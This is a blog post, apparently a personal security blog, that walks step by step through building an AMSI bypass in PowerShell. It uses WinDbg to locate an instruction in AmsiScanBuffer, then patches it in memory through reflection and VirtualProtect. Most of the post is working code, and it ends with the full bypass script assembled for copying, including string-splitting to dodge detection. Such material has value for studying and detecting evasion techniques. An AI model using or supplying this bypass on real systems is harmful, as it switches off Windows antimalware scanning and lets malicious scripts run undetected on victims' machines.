Creating your own AMSI Bypass using Powershell Reflection Technique

Introduction

Today I was reviewing one topic about AV Evasion and I was trying to understand how AMSI works and how we can interact with it.

As a quick introduction, AMSI is the The Windows Antimalware Scan Interface, a interface standard that allows the applications and services to integrate with some antimalware products that are present on a machine.

These are the Windows Components that today are integrated with AMSI:

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or – ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

Today I will try to bypass AMSI by using Powershell. This is how an AMSI block looks like:

AMSI Functions

The unmanaged dynamic link library AMSI.DLL is loaded into every PowerShell and PowerShell_ISE process and provides a number of exported functions.

We can see a complete list of these functions using dumpbin:

dumpbin /exports amsi.dll

Reviewing AmsiBufferScan

My approach to implement a new AMSI bypass was to identify which ones are the registers where AMSI stores the string that is sending to the AV for being scanned.

To try to identify that, let’s load a powershell process in Windbg and setup a breakpoint in AmsiScanBuffer function:

bp amsi!AmsiScanBuffer

Let’s write the string ‘amsiutils’ in the powershell command prompt:

Writing the ‘amsiutils’ (or any other) string we will reach the breakpoint, then if we look at the content of the register rbx, we will see the following:

dc rbx

It seems that this register stores the string that is going to be scanned. So a good approach could be to delete the content of the register.

Implementing this idea using Powershell

Let’s analyze a little bit more the AmsiScanBuffer assembly instructions:

amsi!AmsiScanBuffer L1A

After reviewing a bit the code I saw that the same string was placed in rbx and rcx, using the instruction:

mov rbx, rcx

My approach was to try to modify that instruction to erase rbx instead. To do that we can use a simple XOR operation:

xor rbx, rbx

Powershell Implementation

Here I’m going to start using parts of code that are well known, first of all I need to look for the AmsiScanBuffer function memory address, to do that I would do the following:

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}

$xavi='Amsi'+'Scan'+'Buffer'
[IntPtr]$funcAddr = LookupFunc amsi.dll $xavi

Now that we have identified the memory address, let’s verify that is the correct one using WinDBG:

? 0n140718102202032
u 00007ffb`7c7ec6b0

I mark in red the instruction where we are, and in blue the instruction that we want to reach (and modify):

I calculated the offset using a hex calculator. It is 33.

So let’s save that memory address too using Powershell:

$funcAddrLong = [Long]$funcAddr + 33
$funcAddr2 = [IntPtr]$funcAddrLong

I verify that the memory address is correct following the same process that I used before:

? 0n140718102202065

And I confirm that we are at the point that we want:

Now we need to modify that instruction, but before being able to do that, we need to check what are the current memory protections for that address.

!vprot 00007ffb`7c7ec6d1

We can’t write to that memory address, we need to change the PAGE_EXECUTE_READ to PAGE_EXECUTE_READWRITE.

We can use the following Powershell code to do that:

function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)

We check again the memory protection and it changed correctly.

Now we need to modify the assembly instruction, but first we need the equivalent opcodes for the xor rbx, rbx instruction.
We can use the following webpage:
https://defuse.ca/online-x86-assembler.htm#disassembly

This is the instruction that we want to modify:

To do it we can use the following command:

$buf = [Byte[]] (0x48, 0x31, 0xDB)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)

I check it, and I can see the opcodes that I wrote:

The last step is to recover the initial memory protection:

$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)

We confirm that is not writeable anymore:

!vprot 00007ffb`7c7ec6d1

That was the last step of the process.

Now we can finally confirm that the AMSI bypass worked correctly! 🙂

Here you can have the final code all together:

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
}

$xavi='Amsi'+'Scan'+'Buffer'
[IntPtr]$funcAddr = LookupFunc amsi.dll $xavi

$funcAddrLong = [Long]$funcAddr + 33
$funcAddr2 = [IntPtr]$funcAddrLong

function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr2, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] (0x48, 0x31, 0xDB)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr2, 3)

$vp.Invoke($funcAddr2, 3, 0x20, [ref]$oldProtectionBuffer)

That’s all for today, have fun and happy hacking! 🙂

This entry was posted in Uncategorized and tagged , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *